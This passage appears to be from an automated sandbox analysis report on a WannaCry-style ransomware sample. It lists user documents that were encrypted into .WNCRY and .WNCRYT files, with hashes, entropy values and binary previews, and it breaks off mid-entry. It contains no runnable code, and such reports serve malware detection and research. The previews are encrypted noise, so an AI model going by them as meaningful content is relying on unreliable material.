                                      Preview:WANACRY!....p..x..[......H.|RB.i.8xz.|..E..$.b8..~3X>G#}..Q..0.J.9......o.#U........#.....h....,...8...HW.*)s..K..`.@B0.kdz..i......(V._...!.r_.?.d.'..(C...T.......;N.M|.`...b..B...%..b.K...`U......H........!..?..X&..u...Rv..`...\.-.,3p..?u..C..r..l...$.yUs................:.jF......w...}..^.. y.=]..R.......Z.([.......R...s.......i..O;.|.y....R.C..s.l.......;...G..e;..(....s..].A.l.J0.....Q.<..ma...3.Wt ;U...p..Ky.%o.ZH7...h..ZL....%..u.=;.v...;c.._].}...J..{wv../.....9.....LT....x..=....V.k..;..b..)f..Jb\..T.S..72+".....3.........c|.......6.5p.......bmV+)e......!]....w.H:ZB.q.k.M..y._..3..@PP@7=.@......}.1qe#Ik..B...#..jp.K...]q..LG....'..gV......p..G(MBj..l........a.....4)?t........Kw...../Q..`='...!.0.......r... .A.......H.i.'C..E.y...?.IR......%..7+i..)+`e..c..a...5..TN...x..4..i..R...8.oh.R!I.f....)Z.t...}n....)..5..{..(...L.~(...].....94gY.G..+.D.Ed5.......M.de..F...eb.......JC..ekh3R.L...9.i......}...i5...D..X...yf$.....P..:...$9#x0O..,

                                      C:\Users\user\Documents\SQSJKEBWDT.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861493239832279
                                      Encrypted:false
                                      SSDEEP:24:bkQtnlBp0TgrxqZKB/6Parm3mtGWuhNIh9V1kAf3lfte/yhlOf1jxy:bkQhlB7x1lYarmmtJYNIvV2AfV1e/cKG
                                      MD5:EC84C3B0A5AD8AD7B07014F6817C340F
                                      SHA1:FC80FCDB7DA86278A4FCAC828252A0A205645E62
                                      SHA-256:508E0A06BD9E67BA716933A3CC95E918955B85DD2F826878F6A53F6C9373488E
                                      SHA-512:10DEDAD2630C2C0D19C916F3D433605E2F724813DD030E7AAED534155AC665B068E1AF5732B2E2E34583A1D41409283C615128E6901A995A0C36E3B244EEFFB9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....p..x..[......H.|RB.i.8xz.|..E..$.b8..~3X>G#}..Q..0.J.9......o.#U........#.....h....,...8...HW.*)s..K..`.@B0.kdz..i......(V._...!.r_.?.d.'..(C...T.......;N.M|.`...b..B...%..b.K...`U......H........!..?..X&..u...Rv..`...\.-.,3p..?u..C..r..l...$.yUs................:.jF......w...}..^.. y.=]..R.......Z.([.......R...s.......i..O;.|.y....R.C..s.l.......;...G..e;..(....s..].A.l.J0.....Q.<..ma...3.Wt ;U...p..Ky.%o.ZH7...h..ZL....%..u.=;.v...;c.._].}...J..{wv../.....9.....LT....x..=....V.k..;..b..)f..Jb\..T.S..72+".....3.........c|.......6.5p.......bmV+)e......!]....w.H:ZB.q.k.M..y._..3..@PP@7=.@......}.1qe#Ik..B...#..jp.K...]q..LG....'..gV......p..G(MBj..l........a.....4)?t........Kw...../Q..`='...!.0.......r... .A.......H.i.'C..E.y...?.IR......%..7+i..)+`e..c..a...5..TN...x..4..i..R...8.oh.R!I.f....)Z.t...}n....)..5..{..(...L.~(...].....94gY.G..+.D.Ed5.......M.de..F...eb.......JC..ekh3R.L...9.i......}...i5...D..X...yf$.....P..:...$9#x0O..,

                                      C:\Users\user\Documents\UOOJJOZIRH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.830433841368424
                                      Encrypted:false
                                      SSDEEP:24:wrvShx8sUiEIaSWGE9cChJ2kGPcDYGCWRxyj+pEvsfEe8GD5e6JHHHZiA5B:uSssTEFSWGE9j2kGPcVCWo+QsfBJ1nTP
                                      MD5:73D2F49C0904B89032D2BE9E61F17CC6
                                      SHA1:43920D2A58B6A21BDEBF0B0C6C52583F8E7CA91F
                                      SHA-256:9ACA763EE8D5EB775EE6249E10BB57527BBC39DC5147473B331B1223D1A42210
                                      SHA-512:70566357D4BA907D5B284B4AD094BBC799040256E48A7E831167DDC701E7C8A5E07439FBED5DCFDCB2090078D037D662CA08DFC0280E86FB6151570B39BBC0D4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.<.b!.e..H.3:wX......d..d.[-J.T.....*.V.........&.<j..{Z....3.t.l..a6..o.$.i..C.C......5b..Z..F....&.O....>`.3H..(1L..K.....+..y{}.H.R......x.......;A.......E.h...."....[+.5...1..I^...A.)w..r....^"r.8....T.W......a..V ..........M..I6..Gh.?..L.@....4.=..s l..{M.C.h{.&T*.S...).}.)fp...b.S.R..B..~!..c<.........w.P..n).#..7..v.......0x5...T..S.8...W..........I..8../.i.>p._gNX....C.!.aB,.MB..Z.9..%.......Q...8..FH...JV.]22..ym.Or.%-....o....o.....X;..,lU.L.!o........lW........3.^`.A..n..s.C.%.$/..&.>.D.r....k..P..U....1..Y.....y.hR ......Y.....b.|.....(]....*.Sb.O.)...$.........>M..KR.wR..g.}-..@...o.f.s...CT(c...7-...".........7...e.....].....t..Lw.jA..ob.......D>.<.5.^1SR.&.e......b........q...->P_.^...G.....K9.M.-.V.'.r......(N.#..4........HN0.2.q..,FQ.g..z.@|*.I.M.`q..x.oOf_.K..<...+.f...gf..Iq......R...J.f-..o.w.qp.*...5K.9v+......'=..N.oa~..]..S.....ram@.......b.......d..1Q..._yFiN.....u.........D.>.Hq..U2..=`.W-E.........4.Z..9..

                                      C:\Users\user\Documents\UOOJJOZIRH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850287956647464
                                      Encrypted:false
                                      SSDEEP:24:bkIqr8u3Ym9iW6Ll2Fx4mWuv+Bub5eoIVu1vNm68yzRR/Ln:bkIqr8u1vVn4Kcub5lRFRR/Ln
                                      MD5:5A5BD0F0AD967B15CE8633B9984D209A
                                      SHA1:AD9DB01FF1CB1A1C3D60D0334BE142BB1005F871
                                      SHA-256:3685D601AA2E3CA5C62C1CCF3A0B33EE15C1BB1508C21EA9A9D7D5FCB7F12B65
                                      SHA-512:14945E5E7AC5340AA74B0DA2E1C801909A363BC6E0B321215D78B90B717C37C29F111C852634304DF912A920C55E70B1B996B9FB83745838E1BB4C02AA67B365
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....OmuT.6x_C....N..<j.;lF!...im..^v..u#.O...~`.^...6....jU......:\5..<a..v.sZ\TT.q.g5F,....Ry.n..P..7...*.f...@ibt..A..Yl.n..X.T1....,..?......."..9..../.OWM.O.A<#.EM. ..A.+.!..~......~..L..>wt...o....."y....G..s.ij.....G096..=z,CR...[.oTt:............N....f./.%....%\.+.j.-..5..X...$T...-.pq.Q5..j=..'....*.i..I.I..G.f.O.>Yn...S.....|9...0|..[z..m.d......"...H.Hv.6..&....D..:.... .UE...5\....G..5@..4.7.....3B..8..W..N3r...p.......X...X...b>..<*^......\....t.\.,x.d.$...oL<'qU....]....h..k.b....mN6..d.../!.J.s.'.`...3.!.M..T...Z7......3... KsD.s^ug-...j.k.@ ..?.......MY......=Or..J.h.:F3.J.^...\..,.....e.3..P$B.../..ba...Sw.7v>...Q.9#...!.P.....Rsu....Y..Ku.. O..^m|..?5.........g...z..../.....T1d<.P.^.s>.>2..]. . .s%.8?..1mL..rp.....w..J.!...... W1.t/...5.dP...o..5..5....p...0.$I..&h...H...jg...]!..sX;f)`....v....ak..V...Q.x.,2...SR#.r......A..r..eE6.......zx.#{i............s...S.<?......WB#';....n.!...h>Ik.#....'_..........O*(.

                                      C:\Users\user\Documents\UOOJJOZIRH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850287956647464
                                      Encrypted:false
                                      SSDEEP:24:bkIqr8u3Ym9iW6Ll2Fx4mWuv+Bub5eoIVu1vNm68yzRR/Ln:bkIqr8u1vVn4Kcub5lRFRR/Ln
                                      MD5:5A5BD0F0AD967B15CE8633B9984D209A
                                      SHA1:AD9DB01FF1CB1A1C3D60D0334BE142BB1005F871
                                      SHA-256:3685D601AA2E3CA5C62C1CCF3A0B33EE15C1BB1508C21EA9A9D7D5FCB7F12B65
                                      SHA-512:14945E5E7AC5340AA74B0DA2E1C801909A363BC6E0B321215D78B90B717C37C29F111C852634304DF912A920C55E70B1B996B9FB83745838E1BB4C02AA67B365
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....OmuT.6x_C....N..<j.;lF!...im..^v..u#.O...~`.^...6....jU......:\5..<a..v.sZ\TT.q.g5F,....Ry.n..P..7...*.f...@ibt..A..Yl.n..X.T1....,..?......."..9..../.OWM.O.A<#.EM. ..A.+.!..~......~..L..>wt...o....."y....G..s.ij.....G096..=z,CR...[.oTt:............N....f./.%....%\.+.j.-..5..X...$T...-.pq.Q5..j=..'....*.i..I.I..G.f.O.>Yn...S.....|9...0|..[z..m.d......"...H.Hv.6..&....D..:.... .UE...5\....G..5@..4.7.....3B..8..W..N3r...p.......X...X...b>..<*^......\....t.\.,x.d.$...oL<'qU....]....h..k.b....mN6..d.../!.J.s.'.`...3.!.M..T...Z7......3... KsD.s^ug-...j.k.@ ..?.......MY......=Or..J.h.:F3.J.^...\..,.....e.3..P$B.../..ba...Sw.7v>...Q.9#...!.P.....Rsu....Y..Ku.. O..^m|..?5.........g...z..../.....T1d<.P.^.s>.>2..]. . .s%.8?..1mL..rp.....w..J.!...... W1.t/...5.dP...o..5..5....p...0.$I..&h...H...jg...]!..sX;f)`....v....ak..V...Q.x.,2...SR#.r......A..r..eE6.......zx.#{i............s...S.<?......WB#';....n.!...h>Ik.#....'_..........O*(.

                                      C:\Users\user\Documents\UOOJJOZIRH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.791677751771972
                                      Encrypted:false
                                      SSDEEP:24:EcK78xNLOI0W10xK0InrdTBh661iBRtb+hWQGsbu:pK78xNLr0WOK0WvUTb+hWQO
                                      MD5:4600ABC026D6F4D69A933CEBA5CA1EEA
                                      SHA1:C6AB96ADDE1D477FCB590D94FF30C7A25DB6AE70
                                      SHA-256:08E53A9C6C5BEDA24FA09DE03570B5718A941EA1B6F7879BBBD419AAA1506870
                                      SHA-512:2FCA171AA0C1B9B8180AFDB6485A64919B89C5141D7A95CA11C86C876CD753F60E60D3E7F91E6F1F120A0A07C96300D5F0AF437B3DC43DCF8FFF3B52E3586EF9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..)l.7...;p....u>.....]#.$!....?F.*...{c..k..m..(~.....tr.+`H..3#.q.N..#o".[.X.....C...T9S......y..pE*....;......!.MsF..DH..o...lx..]........3<...6E.1VZ.&m..s.....K.l.._H .6.....Y.P6.>ae{\.I.6.f/.^......$.....h........B{s.;;m.C(nLj..g....vg...^.@....O.....R.......!...PL......).9..a]..&w.d.j.....$.Q..8....HPH....x.b...-g|....n@J.#.s.....;D........l.:;..Q....{.N.G.A{..~$.....k..B#.C..~...**.n<..*...b.u\....@g5...w...2..,......^.5~)u.<F{v.9.!^w....7B@....k.?@.......[.|=...G...<$.4.m.Ch>...:..j.B....,..eN..D6::..U.......Y..B.iO.5.t..\5..g.._c&.e...J..@..\.3.c..T..@T7.$.<..d..$..z.).B.}|&{.zX...1k).V..F..... ...tq]QX4NK..2.9...r..5AB.7..AK.'.VX....\....*mP.....o...6.9...p........;.D_.(x:.5.O.`_..&.*..@.0..cQ...=.Q...`.O...#..........q'@nm.`K..P..#5.Ii5}...E...u.m...EW"..j.:].=0...:9zx...k..).X......n. V.7...?u.Y..T......5{..FsDt............~.=J.?~1.l|.p@.T.h/....\...T...F].e.....;]>....!ZqWW:ON.<.v....... ..)2.yv~'.7c..8....T.L_..p?r

                                      C:\Users\user\Documents\UOOJJOZIRH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845238747226801
                                      Encrypted:false
                                      SSDEEP:24:bkDEOVcj/5jHo+I41McjfNmjxVgzrXC3J5IyQ5OUFpWjM6RB+/JnF7mhk9A6shxC:bkDVGXLfkVVuOJa/vpWMZJik9mC
                                      MD5:A064523B2D9BD42E04776BB06CEDA148
                                      SHA1:A067F7678ACA6503651CA11A25468A8871836618
                                      SHA-256:55327202E2BB46CD79F82A5F33995034F00188B360DC0603121B63D601F2A78F
                                      SHA-512:6B531618C165E0C2F809FFD5601985710BE0C7A6200977D5562E2FBAF4F72A19FD1906AB4BC241A67E18FC7476D642ECB31EBADEAFBED63BDF054C8509EDE878
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...........O.+A.3..7(&..GQk.Ad|]ckz..Y......L.Ym.8...j)...}..#./......$.w....p.D.. ..b......e.......sZ.v..M.U..x..i.=.r.J6...&......z.PpNe...!_.X....=..N...Ys21.vP....4...0J..!..........{k9K....J.2...._.....G..h9.<`.u'...5.8....6..W.....|.l.<A&.;K]8..............7...n.w...U...d.g.`......Q..t$.g..../.I.......CE...(._ c..>........W.B...y*]{........z[3v.~..Y..*....)#..}u...v,.rs($..sM....:.&C.o..@FI.Z@........N.g..I.Qrg.......=x..m...`I#M...H..2..N&G..x..q.Rj..lj......L.s...qp.6....8.n........:..b..:\!(...7sb.*uq.)..........b....."..!.....S.&....N"T..#..._.....9...E..... .....T...(.X....Mss.5I..P..e.....f....fO.t....].28...tJY#]...C*..3f.x(..xx.>.a.%... 8.E.........X.(.M..6.|m\.3.J...u..[..~j...:..E...Wa....'*..3..&...O...ap......{..^....aLg.+.....-..*.XK......*.1`..7X..M..F..R...4.o8.d2..5#.u..Q.WH.;........L;.`h.k.9...O@...u."m.w.......){......E.....F.'..3i7................l...T.cY...K.e..b.#.....o.o.,...{2..j...c'.5<(....!m.Y..B

                                      C:\Users\user\Documents\UOOJJOZIRH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845238747226801
                                      Encrypted:false
                                      SSDEEP:24:bkDEOVcj/5jHo+I41McjfNmjxVgzrXC3J5IyQ5OUFpWjM6RB+/JnF7mhk9A6shxC:bkDVGXLfkVVuOJa/vpWMZJik9mC
                                      MD5:A064523B2D9BD42E04776BB06CEDA148
                                      SHA1:A067F7678ACA6503651CA11A25468A8871836618
                                      SHA-256:55327202E2BB46CD79F82A5F33995034F00188B360DC0603121B63D601F2A78F
                                      SHA-512:6B531618C165E0C2F809FFD5601985710BE0C7A6200977D5562E2FBAF4F72A19FD1906AB4BC241A67E18FC7476D642ECB31EBADEAFBED63BDF054C8509EDE878
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...........O.+A.3..7(&..GQk.Ad|]ckz..Y......L.Ym.8...j)...}..#./......$.w....p.D.. ..b......e.......sZ.v..M.U..x..i.=.r.J6...&......z.PpNe...!_.X....=..N...Ys21.vP....4...0J..!..........{k9K....J.2...._.....G..h9.<`.u'...5.8....6..W.....|.l.<A&.;K]8..............7...n.w...U...d.g.`......Q..t$.g..../.I.......CE...(._ c..>........W.B...y*]{........z[3v.~..Y..*....)#..}u...v,.rs($..sM....:.&C.o..@FI.Z@........N.g..I.Qrg.......=x..m...`I#M...H..2..N&G..x..q.Rj..lj......L.s...qp.6....8.n........:..b..:\!(...7sb.*uq.)..........b....."..!.....S.&....N"T..#..._.....9...E..... .....T...(.X....Mss.5I..P..e.....f....fO.t....].28...tJY#]...C*..3f.x(..xx.>.a.%... 8.E.........X.(.M..6.|m\.3.J...u..[..~j...:..E...Wa....'*..3..&...O...ap......{..^....aLg.+.....-..*.XK......*.1`..7X..M..F..R...4.o8.d2..5#.u..Q.WH.;........L;.`h.k.9...O@...u."m.w.......){......E.....F.'..3i7................l...T.cY...K.e..b.#.....o.o.,...{2..j...c'.5<(....!m.Y..B

                                      C:\Users\user\Documents\UOOJJOZIRH.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802716898035887
                                      Encrypted:false
                                      SSDEEP:24:1F+sxjJmJwZSOykjz2YRJSLCH/gqumjUM28llHRnbQrUyi:LzmJYX6L8YqumjUh8lMwx
                                      MD5:F4257265B5BC66F36129AC4BD2E10F6F
                                      SHA1:347AAC1C97A35EC20C3A382D63AD32CBE0B1F006
                                      SHA-256:928FECB8742996779170552ED883A3EC2FD3B16BE3AACD8C0A0B161A62229308
                                      SHA-512:BDE4FC6D3BCEB674937AD84E7C08DE1947E25369DE0F60AD044A321F4545FF611575673D44749142EBEF3E2DD83261771D62E7D94AE8D8B805B936974319D99D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..7...m.....aZ.S.q...sC..}..K[.2..V..v...>9....y..aA. .|].@....5.F1L..!Z~....}xP...%...-L.......A..S.X.AoNC0...5'.{....v.Z{...Vs+f......H....&.S$...;,H..&.2ye....E.?...f.B...x.<...o...A4x.l.-g|.;..w.q$....J.:,. {.b.=..N.oyw.Q..+....._...UY..*Lw.u....`...;|J..V4.=C.{.."....].I|<..%f._ezE...U..J..mW*..........<H.....p.41...Q..mv.n...wWd.}l-0./.z...JK.w.....Fo-w.i#..j.A.....9......... B.`.c"wC(.~..:.....;.\ygP..l!b.\.2.......6....D..d..*...._uc..!-V)..4u|......|.d......2...<.&|al..e......`.4Qi,...n1.\_.G.!.nx.@.+)..0W#r...u.o...,.....K.A...tH.C.......a..R....#.YBZ.<.>f..?v..@...=.4....yN.klU....~.n=..Z1.2....F*h..'.j.t(.S."..W..f./..U....|..]..V4@.)...V......>..s.4...j,2..x6.a(5{e[,.K^D.Z...CtA0.../.n..MD..d=..B...5..5p..q......9.VI...E.%...T:.~/...w.E....2Y.f1."qN`.~.dq./....R4T...&...7..Ud.....#.Ye..{....H..6^..7..L.Y...mQ.*1.....#.......M.O];......G.go{*..%v..TL......Kp<.X....+...o.m}.s..r.H....Q...b.Y.u3.=...7.".|u..:b(.4G..8...W.a*

                                      C:\Users\user\Documents\UOOJJOZIRH.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853043432127205
                                      Encrypted:false
                                      SSDEEP:24:bkhrGtYrmkZkQNNY+DetT6+8V02K6Po7TWf6XTeZvm3PVZvmE:bkhrGCaIkeNYie6JV02K6QHGyKZedZuE
                                      MD5:719345E05006FF2200D9D964C6175284
                                      SHA1:7972721C0454D2DFC2BC5C9F90F89E04212D99AD
                                      SHA-256:43AC74F257430192FF59AB07651652C317CAAAA6D4079FEEE6C8BEA1889D71B8
                                      SHA-512:F046374D9BF4F4E437A6480D5538C6E0E64468FB94CA4B960F46F2768148A6B70644F61811E87A28A5EA6E218508C2EE98E2A47FF4C322DFFBD5BE0D928B0DCB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....f'U..u.{..".y....q`.V...$....")....R.p..Q....?;\.=B?.v.S.&.(. c%.r~X.}x:cy....7n7.tGD.<..U....D.b.D..t....;............s}...SL.H....i.......N.........ydK.m..J.^...\O..N...i....K.[...!.y........1........rC.1QX.z..v/...1....T...I[.^Ih..$...&............K.,.o.aK..q.......Z y.e...7.@...t..|...........r.~.i..H..K.H...0.......e......>..aY.WB..-...eV_.........m*...>X..L.H..c.......at3..9s...r[!aH.zT.v.R...)j.....l 7....d...'.b.L.X.Q9.4..w .p.........&.".......^T...\.o...p.....'+.......6.m..;.`.b}5.(7w.h.:..>..:S;<q..n|.._>.........I.nU.Z._Y.jS..%.#.{3^...&I......L .....~sO.3n..H...1..&..A-.+...H~.:j.%.%@`I.=.q.lq0.t.U.x&.>....fq8.......v{.yQL.*..ca;....a.ax..?.F8W.s,[/<.|.%/.5...k......8...!m.pj.p&K.C.1W.aGd.$z.mI../...T.(...b..+z6.nj.e.a.....S.#.Gw.2O....%.....*...G.3.O.....IE.L%"a5.MN..8...........V~..e .. !..t.).@....Y{...7._.3...?..B...^/.La..............k.s.?..N<`..v..0.~!S.....S...5..(2*.FG..F..p*%.....~..y..H........aX}..X..%x

                                      C:\Users\user\Documents\UOOJJOZIRH.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853043432127205
                                      Encrypted:false
                                      SSDEEP:24:bkhrGtYrmkZkQNNY+DetT6+8V02K6Po7TWf6XTeZvm3PVZvmE:bkhrGCaIkeNYie6JV02K6QHGyKZedZuE
                                      MD5:719345E05006FF2200D9D964C6175284
                                      SHA1:7972721C0454D2DFC2BC5C9F90F89E04212D99AD
                                      SHA-256:43AC74F257430192FF59AB07651652C317CAAAA6D4079FEEE6C8BEA1889D71B8
                                      SHA-512:F046374D9BF4F4E437A6480D5538C6E0E64468FB94CA4B960F46F2768148A6B70644F61811E87A28A5EA6E218508C2EE98E2A47FF4C322DFFBD5BE0D928B0DCB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....f'U..u.{..".y....q`.V...$....")....R.p..Q....?;\.=B?.v.S.&.(. c%.r~X.}x:cy....7n7.tGD.<..U....D.b.D..t....;............s}...SL.H....i.......N.........ydK.m..J.^...\O..N...i....K.[...!.y........1........rC.1QX.z..v/...1....T...I[.^Ih..$...&............K.,.o.aK..q.......Z y.e...7.@...t..|...........r.~.i..H..K.H...0.......e......>..aY.WB..-...eV_.........m*...>X..L.H..c.......at3..9s...r[!aH.zT.v.R...)j.....l 7....d...'.b.L.X.Q9.4..w .p.........&.".......^T...\.o...p.....'+.......6.m..;.`.b}5.(7w.h.:..>..:S;<q..n|.._>.........I.nU.Z._Y.jS..%.#.{3^...&I......L .....~sO.3n..H...1..&..A-.+...H~.:j.%.%@`I.=.q.lq0.t.U.x&.>....fq8.......v{.yQL.*..ca;....a.ax..?.F8W.s,[/<.|.%/.5...k......8...!m.pj.p&K.C.1W.aGd.$z.mI../...T.(...b..+z6.nj.e.a.....S.#.Gw.2O....%.....*...G.3.O.....IE.L%"a5.MN..8...........V~..e .. !..t.).@....Y{...7._.3...?..B...^/.La..............k.s.?..N<`..v..0.~!S.....S...5..(2*.FG..F..p*%.....~..y..H........aX}..X..%x

                                      C:\Users\user\Documents\VAMYDFPUND.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.750444774899172
                                      Encrypted:false
                                      SSDEEP:24:OD0K52Ie/wqTd39GipFp2XNqh0C0FvAeFIbRS+1xaFVBw3C6fN46i:OD0KU4SxPTpENaEfnNGkx
                                      MD5:ED326A39A7F802DAF72846A1125A5524
                                      SHA1:5B0F42A40B37DC75071F35CECFDA1D9F0ABC92A1
                                      SHA-256:F67E64086D1ADA503CF393666C7A83DEEF3D209DAE303A98A70B8288A7AF86B4
                                      SHA-512:E7E818550886C4DE2E1A7BF001CDB87BD5F7A1EB386B8C61B9C20D8A1C5967DC621112A568EF85A779C6BD11805E502AD236057E9EEC593F76E7B0ADE2EE2A3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.KH.G.....%vD.....1.<e..kUW.$.xx?A....{K..Z.eS.i[..&].JL1}b.....].'.B..).O...9.(.....l..h.m.mc.P....A=.%N.f.....l.2~."..c.At.u.......Y=J.L...%n.QL..-.-;c..hZ..;..f. .*.P..U.R....L.... iu.g.s.nZ.n.7......FP3|x..B3.<.]....Z.......WP[..%...F..q.O...?x.}].%v.s...[G-.h<...c#..+h..<..D.xJJ..g.;.P...,4.........y........t..1...=...B...(........UoJa=.N...1;..m....7..$..F.@T.~...|....w(.u..b..(\.. ...........h`.~..6By......|....&.1x....u..?.$.....sM...t...1.5^.{D.z........T.3...O...Vg..=..)..4..d....rIP.ck.f..!.{..............g.=.0.h..F...oa..$..].......{I..l...........t..~.\..... ].g.LF.~.*.4q..:..`:.V.Pq.=.].....|..`D.....sUhf.f.'....f....x<`.......t{..t....q....C.0...@G.:5.Nw....H..h..qE.*%.j.S...~E..N.{iw4f2...8.p..A.L..h.%|_,.Z]....TW..ZJ@{..8D..#.`B......N.jh....1.....)....3......Zc./...bi..:.'..B...v.-../..>l*.o..F./............i..i..q7....B..'.u..M_s......j./...N.....U%..3..;..qE'......8......w.T^..A.......2..i..WO..g&sV....9.

                                      C:\Users\user\Documents\VAMYDFPUND.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.858848621727836
                                      Encrypted:false
                                      SSDEEP:24:bk2GDvK/n7/UdWcwcM0HzvyIzHMleQHZsXsEvEzfAZ2PHnLmsFE/d2u23O4Uo:bkpDYs0cwcME+IAleQ5sxa+qfM2ugN
                                      MD5:5CDA48B8241C1C607694162D997D8C81
                                      SHA1:3E93102EB0FCA8CBF1BACE3F768B7EFCA8BBDD8D
                                      SHA-256:2C10FEBAF35A4ED4AB2DC967E50CF084FFC7DE2AFBC44EB993337E0879D8E8C3
                                      SHA-512:AF16EFD33FC9BC97CC9B3DCB509F552D77840020219E127884E2131189C9A48A2A255BB0BBCC3EB6C26C0799DC59D9E2F4E8F79BCA90C13D130F0E6B13D1B85F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........OX,^h..Q..$..?....B}..z.Z$..........}.jf...*.x.X.......)..-....Q2....3..%w.|jt.n./J.....&.T....:q.{mi.Oi..+A...&.....<..!G......9_.e"n.y1..p...\..5..z.q?..e...Bf..).L7.E.^v\8....Ae...Y.Z..se...J.\....4....3.. ..._....=......0?./.a.$.+...".Y..................F......1y.B...~..[Gp=.....o.WU....v........-h.h.3.c...s..(.".O.....[....I.b9q.e...iLu.=.m.z.s..y..z|....u...=.....D...Q<v'@A..N.....R..k..x....... ..Fe.....h.s.y..08.{LO`..><N.2.0..q...Z}.0..7........W..Ev....W/g..|O..?.q..~|.h..G...Qxm.Q.....3...R.}'j.*w...........g..nt..#'...$...H1.w...ikT.x-.p..%Y4.o.Y..d.P6.\.Dv.....4.2.e(...42&.>&...R*;.W....o....m....4..U..60..(.".a.P=.s.N..Poj.....{......^..+Q.+s...s..N..d=.l8......i$....6.!.^j..vrl.....mH.t..x..^.HjM.ne.jq.e9u._.....JH.9.A...VuX.c...N.b.XI....o....q=#u...:.w..MR.`.....~;...a.Z..JT8m6a.....a7...Y...l...^.:.b.9...P l'H.@..;N..O...<.z..&"V..z_..[......JWQ`.H.D."....JF..5i........"........>...:0.S..z[+........-B%.l.j

                                      C:\Users\user\Documents\VAMYDFPUND.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.858848621727836
                                      Encrypted:false
                                      SSDEEP:24:bk2GDvK/n7/UdWcwcM0HzvyIzHMleQHZsXsEvEzfAZ2PHnLmsFE/d2u23O4Uo:bkpDYs0cwcME+IAleQ5sxa+qfM2ugN
                                      MD5:5CDA48B8241C1C607694162D997D8C81
                                      SHA1:3E93102EB0FCA8CBF1BACE3F768B7EFCA8BBDD8D
                                      SHA-256:2C10FEBAF35A4ED4AB2DC967E50CF084FFC7DE2AFBC44EB993337E0879D8E8C3
                                      SHA-512:AF16EFD33FC9BC97CC9B3DCB509F552D77840020219E127884E2131189C9A48A2A255BB0BBCC3EB6C26C0799DC59D9E2F4E8F79BCA90C13D130F0E6B13D1B85F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........OX,^h..Q..$..?....B}..z.Z$..........}.jf...*.x.X.......)..-....Q2....3..%w.|jt.n./J.....&.T....:q.{mi.Oi..+A...&.....<..!G......9_.e"n.y1..p...\..5..z.q?..e...Bf..).L7.E.^v\8....Ae...Y.Z..se...J.\....4....3.. ..._....=......0?./.a.$.+...".Y..................F......1y.B...~..[Gp=.....o.WU....v........-h.h.3.c...s..(.".O.....[....I.b9q.e...iLu.=.m.z.s..y..z|....u...=.....D...Q<v'@A..N.....R..k..x....... ..Fe.....h.s.y..08.{LO`..><N.2.0..q...Z}.0..7........W..Ev....W/g..|O..?.q..~|.h..G...Qxm.Q.....3...R.}'j.*w...........g..nt..#'...$...H1.w...ikT.x-.p..%Y4.o.Y..d.P6.\.Dv.....4.2.e(...42&.>&...R*;.W....o....m....4..U..60..(.".a.P=.s.N..Poj.....{......^..+Q.+s...s..N..d=.l8......i$....6.!.^j..vrl.....mH.t..x..^.HjM.ne.jq.e9u._.....JH.9.A...VuX.c...N.b.XI....o....q=#u...:.w..MR.`.....~;...a.Z..JT8m6a.....a7...Y...l...^.:.b.9...P l'H.@..;N..O...<.z..&"V..z_..[......JWQ`.H.D."....JF..5i........"........>...:0.S..z[+........-B%.l.j

                                      C:\Users\user\Documents\VAMYDFPUND.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
